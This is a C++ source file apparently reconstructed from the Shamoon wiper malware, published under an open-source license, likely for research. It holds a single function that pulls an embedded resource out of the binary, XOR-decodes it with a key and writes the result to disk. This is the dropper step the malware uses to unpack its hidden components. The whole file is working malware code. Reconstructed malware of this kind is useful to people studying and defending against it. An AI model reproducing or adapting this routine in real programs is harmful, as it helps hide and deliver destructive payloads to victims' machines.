// Copyright 2015 Christian Roggia. All rights reserved.
// Use of this source code is governed by an Apache 2.0 license that can be
// found in the LICENSE file.

#include "Encryption.h"

#include "..\Utils\System.h"

bool Shamoon::Modules::Encryption::WriteEncodedResource(LPCWSTR szFileName, HMODULE hModule, LPCWSTR lpName, LPCWSTR lpType, char *vKey, UINT32 nKeyLength)
{
	HRSRC hResource; // eax@1
	HGLOBAL hgResource; // eax@2
	char *pRsrcData; // [sp+10h] [bp-18h]@3

	// Get the pointer to the resource
	CHECK_AND_COPY_VALUE(hResource	, FindResourceW(hModule, lpName, lpType))
	CHECK_AND_COPY_VALUE(hgResource	, LoadResource(hModule, hResource))
	CHECK_AND_COPY_VALUE(pRsrcData	, (char *)LockResource(hgResource))
	
	// Get the size of the resource
	DWORD dwRsrcSize = SizeofResource(hModule, hResource);
	
	HANDLE hFile;
	EXECUTE_WOW64_FILE_OPERATION
	(
		// Open the destination file
		hFile = CreateFileW(szFileName, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);
	)
	
	// Check if the file is accessible
	if(hFile == INVALID_HANDLE_VALUE)
		return false;
	
	// Start to decode the resource
	UINT32 i = 0;
	DWORD dwBytesWritten = 0;
	
	while(i < dwRsrcSize)
	{
		// Decode the first 1024 bytes byte by byte
		UINT8 nDecodedByte = pRsrcData[i] ^ vKey[i % nKeyLength];
		WriteFile(hFile, &nDecodedByte, 1, &dwBytesWritten, 0);
		
		++i;
		
		// If the file is more than 1024 bytes long, decode it directly
		if(i >= 1024)
		{
			// If the file is exactly 1024 bytes long, break the routine
			if(i >= dwRsrcSize)
				break;
			
			// Allocation of the virtual memory where the decoded data will be put
			UINT8 *pRawData = (UINT8 *)VirtualAlloc(NULL, dwRsrcSize - i, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
			if(!pRawData)
				break;
			
			// Substract to the pointer the value of 'i',
			// So the first 1024 bytes of the allocated memory will not be skipped
			// NOTE: i = 1024
			UINT8 *pRawDataAligned = &pRawData[-i];
			
			// Decode all the remaining bytes
			do
			{
				pRawDataAligned[i] = pRsrcData[i] ^ vKey[i % nKeyLength];
				++i;
			}
			while(i < dwRsrcSize);
			
			// Write the decoded bytes in the file
			WriteFile(hFile, pRawData, dwRsrcSize - 1024, &dwBytesWritten, 0);
			
			// Free the virtual memory
			VirtualFree(pRawData, 0, MEM_RELEASE);
			
			break;
		}
	}
	
	// Close the file handle
	CloseHandle(hFile);

	// All ok, resource sucessfully decoded and written
	return true;
}